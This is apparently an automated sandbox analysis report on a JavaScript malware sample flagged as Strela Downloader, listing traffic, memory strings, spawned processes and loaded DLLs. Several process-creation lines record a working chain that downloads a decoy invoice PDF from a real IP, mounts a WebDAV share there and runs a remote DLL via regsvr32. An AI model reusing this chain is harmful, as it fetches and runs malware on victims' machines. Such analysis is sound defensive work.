Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1695452978.00000234CEEE2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000003.1754802200.000001D5B3CDB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1757111796.000001D5B3CBC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1757018581.000001D5B3C88000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1756213789.000001D5B3CBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1757111796.000001D5B3CBC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1756213789.000001D5B3CBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/&
Source: net.exe, 00000006.00000002.1757018581.000001D5B3C88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pacec
Source: svchost.exe, 00000008.00000002.2985468761.0000021A8D600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1756730903.0000021A8D4B8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1756730903.0000021A8D4B8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1756730903.0000021A8D4B8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1756730903.0000021A8D4ED000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1756730903.0000021A8D562000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1756730903.0000021A8D562000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1756730903.0000021A8D562000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7548, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 16042278381135117219.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7944

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7608:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rzagl1i4.fky.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16042278381135117219.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1596,i,15640695230729667418,10940420248813327185,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1596,i,15640695230729667418,10940420248813327185,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
